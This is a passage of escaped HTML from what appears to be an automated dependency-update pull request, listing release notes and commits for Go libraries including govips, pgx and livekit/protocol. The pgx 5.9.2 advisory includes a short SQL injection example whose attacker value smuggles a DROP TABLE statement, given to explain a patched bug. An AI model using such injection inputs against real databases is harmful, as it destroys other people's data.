href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/741\"\u003e#741\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Update github actions workflows and integration test resources (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/740\"\u003e#740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: update copyright headers from Google Inc. to Google LLC (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/713\"\u003e#713\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Added and \u003ccode\u003eAGENTS.md\u003c/code\u003e file to instruct AI agents how to interact with this repository (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/710\"\u003e#710\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-admin-go/commit/4f7026f0837678ceb33ab2d2c145a0d18d9952fd\"\u003e\u003ccode\u003e4f7026f\u003c/code\u003e\u003c/a\u003e [chore] Release v4.19.0 (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/747\"\u003e#747\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/firebase/firebase-admin-go/compare/v4.18.0...v4.19.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/alicebob/miniredis/v2` from 2.36.1 to 2.37.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/alicebob/miniredis/releases\"\u003egithub.com/alicebob/miniredis/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eHEXPIRE\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003esupport HEXPIRE (thanks \u003ca href=\"https://github.com/mojixcoder\"\u003e\u003ccode\u003e@​mojixcoder\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/alicebob/miniredis/blob/master/CHANGELOG.md\"\u003egithub.com/alicebob/miniredis/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.37.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003esuport HEXPIRE (thanks \u003ca href=\"https://github.com/mojixcoder\"\u003e\u003ccode\u003e@​mojixcoder\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/alicebob/miniredis/commit/c1b59bfe154a01657c4b79734237fe5eba81f11b\"\u003e\u003ccode\u003ec1b59bf\u003c/code\u003e\u003c/a\u003e feat: implement HEXPIRE command (\u003ca href=\"https://redirect.github.com/alicebob/miniredis/issues/424\"\u003e#424\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/alicebob/miniredis/compare/v2.36.1...v2.37.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/davidbyttow/govips/v2` from 2.16.0 to 2.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/davidbyttow/govips/releases\"\u003egithub.com/davidbyttow/govips/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.18.0\u003c/h2\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eLeak detector\u003c/strong\u003e: new \u003ccode\u003eOpenImageRefs()\u003c/code\u003e and \u003ccode\u003eAssertNoLeaks(t)\u003c/code\u003e API for tracking unclosed \u003ccode\u003eImageRef\u003c/code\u003e instances (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSplit \u003ccode\u003eImageRef\u003c/code\u003e\u003c/strong\u003e: decomposed the 2607-line god object into 8 focused files by concern — zero API changes, same public surface (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWebP shrink-on-load\u003c/strong\u003e support via scale parameter (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/516\"\u003e#516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAnimated AVIF (avis) detection\u003c/strong\u003e support (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/513\"\u003e#513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix memory leaks\u003c/strong\u003e in \u003ccode\u003evipsGetPoint\u003c/code\u003e and \u003ccode\u003evipsImageGetAsString\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/510\"\u003e#510\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix segfault\u003c/strong\u003e during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplace panics with errors\u003c/strong\u003e in \u003ccode\u003estartupIfNeeded\u003c/code\u003e and test helpers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/522\"\u003e#522\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUpdate minimum libvips\u003c/strong\u003e from 8.10 to 8.14 (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/518\"\u003e#518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix C code bugs in \u003ccode\u003eset_image_delay\u003c/code\u003e and \u003ccode\u003elabel\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/512\"\u003e#512\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemove incorrect defers that would free internal vips pointers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/511\"\u003e#511\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003eSimplify CI workflow, align Go version with go.mod (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/519\"\u003e#519\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBreaking\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved \u003ccode\u003evips/pipeline\u003c/code\u003e package — it was a thin wrapper over \u003ccode\u003eImageRef\u003c/code\u003e methods covering ~40 of 139 methods, creating a dual-surface problem. Use \u003ccode\u003eImageRef\u003c/code\u003e methods directly.\u003c/li\u003e\n\u003cli\u003eMinimum libvips version bumped from 8.10 to 8.14\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.17.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eNew Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd built-in vipsgen code generator for auto-generating C bridge wrappers\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eNewTransparentCanvas\u003c/code\u003e helper for creating transparent RGBA images\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eGrey()\u003c/code\u003e constructor for creating gradient images\u003c/li\u003e\n\u003cli\u003eAdd fast Go \u003ccode\u003eimage.Image\u003c/code\u003e interop: \u003ccode\u003eToGoImage\u003c/code\u003e and \u003ccode\u003eNewImageFromGoImage\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eLoop\u003c/code\u003e API and preserve loop/delay metadata in \u003ccode\u003eRemoveMetadata\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd gravity function\u003c/li\u003e\n\u003cli\u003eAdd PSD support\u003c/li\u003e\n\u003cli\u003eAdd Magick Save, support ICO load\u003c/li\u003e\n\u003cli\u003eAdd access options while loading image\u003c/li\u003e\n\u003cli\u003eAdd additional image operation functions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix memory leak, panics, and race condition\u003c/li\u003e\n\u003cli\u003eFix memory leak when using multi pages\u003c/li\u003e\n\u003cli\u003eFix animated resize producing toilet-roll images\u003c/li\u003e\n\u003cli\u003eFix CMYK ICC profile ignored when embedded profile exists\u003c/li\u003e\n\u003cli\u003eFix TIFF tile dimensions zero-value crash\u003c/li\u003e\n\u003cli\u003eFix JXL type detection for ISOBMFF containers with varying box sizes\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eruntime.KeepAlive\u003c/code\u003e to prevent GC finalization during CGo calls\u003c/li\u003e\n\u003cli\u003eStop implicitly converting BMP files to PNG\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsolidate generated C bridge files into \u003ccode\u003egenerated.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eConsolidate hand-written C bridge files into \u003ccode\u003eoperations.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eReduce hand-written C bridge code by using generated wrappers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1c56c968207c748f90627c998f93be6cbbe2bbca\"\u003e\u003ccode\u003e1c56c96\u003c/code\u003e\u003c/a\u003e Add leak detector, remove pipeline, split ImageRef god object (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/ed2402c9854112076bff4f583c9537542e46be61\"\u003e\u003ccode\u003eed2402c\u003c/code\u003e\u003c/a\u003e update claude.md and remove unnecessary files\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/b8b8568af3fb38493e28952288b398d8d4f9c025\"\u003e\u003ccode\u003eb8b8568\u003c/code\u003e\u003c/a\u003e Add composable pipeline API for image transforms (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/524\"\u003e#524\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e1b3461e4a1b6d20c0788885d8ee1bd7b59e163b\"\u003e\u003ccode\u003ee1b3461\u003c/code\u003e\u003c/a\u003e Update dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/74b216dc420d24d369d21c2fe3dc90baac891d57\"\u003e\u003ccode\u003e74b216d\u003c/code\u003e\u003c/a\u003e Fix segfault during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/4f36436b36628de0479fba2627f981dd98a637d2\"\u003e\u003ccode\u003e4f36436\u003c/code\u003e\u003c/a\u003e Simplify CI workflow: drop Coveralls, clean up steps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e09c89dce24e9b4c731e67c6e75c5a819cf5dd1b\"\u003e\u003ccode\u003ee09c89d\u003c/code\u003e\u003c/a\u003e Remove stale build/ directory with outdated Dockerfiles\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1d528fba548f06fa4a1f0df89d045e4ca6c2887d\"\u003e\u003ccode\u003e1d528fb\u003c/code\u003e\u003c/a\u003e Replace deprecated Export() call in ToImage() with ExportNative()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/3fad8cc6f81dd62e63833cca59b51fcdeaec4ec8\"\u003e\u003ccode\u003e3fad8cc\u003c/code\u003e\u003c/a\u003e add usage examples\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/6cf8e10a85829278ad1b0f35e73825bf2b570ff5\"\u003e\u003ccode\u003e6cf8e10\u003c/code\u003e\u003c/a\u003e Return error from startupIfNeeded instead of panicking (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/davidbyttow/govips/compare/v2.16.0...v2.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/jackc/pgx/v5` from 5.7.2 to 5.9.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jackc/pgx/blob/master/CHANGELOG.md\"\u003egithub.com/jackc/pgx/v5's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e5.9.2 (April 18, 2026)\u003c/h1\u003e\n\u003cp\u003eFix SQL Injection via placeholder confusion with dollar quoted string literals (GHSA-j88v-2chj-qfwx)\u003c/p\u003e\n\u003cp\u003eSQL injection can occur when:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eThe non-default simple protocol is used.\u003c/li\u003e\n\u003cli\u003eA dollar quoted string literal is used in the SQL query.\u003c/li\u003e\n\u003cli\u003eThat query contains text that would be would be interpreted outside as a placeholder outside of a string literal.\u003c/li\u003e\n\u003cli\u003eThe value of that placeholder is controllable by the attacker.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003ee.g.\u003c/p\u003e\n\u003cpre lang=\"go\"\u003e\u003ccode\u003eattackValue := `$tag$; drop table canary; --`\n_, err = tx.Exec(ctx, `select $tag$ $1 $tag$, $1`, pgx.QueryExecModeSimpleProtocol, attackValue)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis is unlikely to occur outside of a contrived scenario.\u003c/p\u003e\n\u003ch1\u003e5.9.1 (March 22, 2026)\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eFix: batch result format corruption when using cached prepared statements (reported by Dirkjan Bussink)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e5.9.0 (March 21, 2026)\u003c/h1\u003e\n\u003cp\u003eThis release includes a number of new features such as SCRAM-SHA-256-PLUS support, OAuth authentication support, and\nPostgreSQL protocol 3.2 support.\u003c/p\u003e\n\u003cp\u003eIt significantly reduces the amount of network traffic when using prepared statements (which are used automatically by\ndefault) by avoiding unnecessary Describe Portal messages. This also reduces local memory usage.\u003c/p\u003e\n\u003cp\u003eIt also includes multiple fixes for potential DoS due to panic or OOM if connected to a malicious server that sends\ndeliberately malformed messages.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRequire Go 1.25+\u003c/li\u003e\n\u003cli\u003eAdd SCRAM-SHA-256-PLUS support (Adam Brightwell)\u003c/li\u003e\n\u003cli\u003eAdd OAuth authentication support for PostgreSQL 18 (David Schneider)\u003c/li\u003e\n\u003cli\u003eAdd PostgreSQL protocol 3.2 support (Dirkjan Bussink)\u003c/li\u003e\n\u003cli\u003eAdd tsvector type support (Adam Brightwell)\u003c/li\u003e\n\u003cli\u003eSkip Describe Portal for cached prepared statements reducing network round trips\u003c/li\u003e\n\u003cli\u003eMake LoadTypes query easier to support on \u0026quot;postgres-like\u0026quot; servers (Jelte Fennema-Nio)\u003c/li\u003e\n\u003cli\u003eDefault empty user to current OS user matching libpq behavior (ShivangSrivastava)\u003c/li\u003e\n\u003cli\u003eOptimize LRU statement cache with custom linked list and node pooling (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eOptimize date scanning by replacing regex with manual parsing (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eOptimize pgio append/set functions with direct byte shifts (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eMake RowsAffected faster (Abhishek Chanda)\u003c/li\u003e\n\u003cli\u003eFix: Pipeline.Close panic when server sends multiple FATAL errors (Varun Chawla)\u003c/li\u003e\n\u003cli\u003eFix: ContextWatcher goroutine leak (Hank Donnay)\u003c/li\u003e\n\u003cli\u003eFix: stdlib discard connections with open transactions in ResetSession (Jeremy Schneider)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/0aeabbcf11d859229c1f0b20e710d3596c76bf27\"\u003e\u003ccode\u003e0aeabbc\u003c/code\u003e\u003c/a\u003e Release v5.9.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/60644f84918a8af66d14a4b0d865d4edafd955da\"\u003e\u003ccode\u003e60644f8\u003c/code\u003e\u003c/a\u003e Fix SQL sanitizer bugs with dollar-quoted strings and placeholder overflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/a5680bc945aa7c6ebac2778d859ee7b4ba86db60\"\u003e\u003ccode\u003ea5680bc\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2531\"\u003e#2531\u003c/a\u003e from dolmen-go/godoc-add-links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/e34e4524007062710c6a4fb9c8655b75a486b5cd\"\u003e\u003ccode\u003ee34e452\u003c/code\u003e\u003c/a\u003e doc: Add godoc links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/08c9bb1f0d8fa6cc10ed8c713e68b1baa64dfe2c\"\u003e\u003ccode\u003e08c9bb1\u003c/code\u003e\u003c/a\u003e Fix Stringer types encoded as text instead of numeric value in composite fields\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/96b4dbdfd0458cb425bf8454d292a23978872cc8\"\u003e\u003ccode\u003e96b4dbd\u003c/code\u003e\u003c/a\u003e Remove unstable test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/acf88e0065682e8948696d26fa6438669c4cabee\"\u003e\u003ccode\u003eacf88e0\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2526\"\u003e#2526\u003c/a\u003e from abrightwell/abrightwell-min-proto\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/2f81f1fc03bef99593e92c64ad9cac954c00e8e6\"\u003e\u003ccode\u003e2f81f1f\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emax_protocol_version\u003c/code\u003e and \u003ccode\u003emin_protocol_version\u003c/code\u003e defaults\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/4e4eaedb47b7b3cfba0a1b0a9e6a3f015764f046\"\u003e\u003ccode\u003e4e4eaed\u003c/code\u003e\u003c/a\u003e Release v5.9.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/62731882651a90348febb43b2119b5f8bd9272de\"\u003e\u003ccode\u003e6273188\u003c/code\u003e\u003c/a\u003e Fix batch result format corruption when using cached prepared statements\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jackc/pgx/compare/v5.7.2...v5.9.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/livekit/protocol` from 1.44.1-0.20260120134243-0914cc74653e to 1.45.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/livekit/protocol/releases\"\u003egithub.com/livekit/protocol's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.6\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAGT-2669: Add turn detection and interruption protobufs by \u003ca href=\"https://github.com/chenghao-mou\"\u003e\u003ccode\u003e@​chenghao-mou\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1485\"\u003elivekit/protocol#1485\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTEL-543: same trunk can match duplicate normalized SIP numbers by \u003ca href=\"https://github.com/hechen-eng\"\u003e\u003ccode\u003e@​hechen-eng\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1514\"\u003elivekit/protocol#1514\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix change set for eot changes by \u003ca href=\"https://github.com/chenghao-mou\"\u003e\u003ccode\u003e@​chenghao-mou\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1515\"\u003elivekit/protocol#1515\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eVersion Packages by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1517\"\u003elivekit/protocol#1517\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chenghao-mou\"\u003e\u003ccode\u003e@​chenghao-mou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1485\"\u003elivekit/protocol#1485\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/livekit/protocol/compare/v1.45.5...@livekit/protocol@1.45.6\"\u003ehttps://github.com/livekit/protocol/compare/v1.45.5...@​livekit/protocol@1.45.6\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eexport alphabets used in guids - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1508\"\u003e#1508\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eCreate room tags - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1504\"\u003e#1504\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eExport analytics proto - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1501\"\u003e#1501\u003c/a\u003e (\u003ca href=\"https://github.com/lukasIO\"\u003e\u003ccode\u003e@​lukasIO\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd TimedString proto for word-level alignment metadata in agent - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1502\"\u003e#1502\u003c/a\u003e (\u003ca href=\"https://github.com/longcw\"\u003e\u003ccode\u003e@​longcw\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003emove proto options to use lk reserved range - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1495\"\u003e#1495\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAdd SUSPENDED node state. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1486\"\u003e#1486\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd get_framework_info request/response support in agent session protocol and regenerate JavaScript protobuf types. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1493\"\u003e#1493\u003c/a\u003e (\u003ca href=\"https://github.com/toubatbrian\"\u003e\u003ccode\u003e@​toubatbrian\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eadd room name and start time to agent MetricsRecordingHeader - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1474\"\u003e#1474\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efeat(rpc/room): add \u003ccode\u003eListParticipants\u003c/code\u003e and \u003ccode\u003eGetParticipant\u003c/code\u003e - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1459\"\u003e#1459\u003c/a\u003e (\u003ca href=\"https://github.com/sohbit\"\u003e\u003ccode\u003e@​sohbit\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd \u003ccode\u003eFrame ID\u003c/code\u003e packet trailer feature - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1453\"\u003e#1453\u003c/a\u003e (\u003ca href=\"https://github.com/chenosaurus\"\u003e\u003ccode\u003e@​chenosaurus\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eadd generic list type - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1449\"\u003e#1449\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd livekit_agent_simulation service, agent remote session proto \u0026amp; cli dev proto - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1404\"\u003e#1404\u003c/a\u003e (\u003ca href=\"https://github.com/theomonnom\"\u003e\u003ccode\u003e@​theomonnom\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from 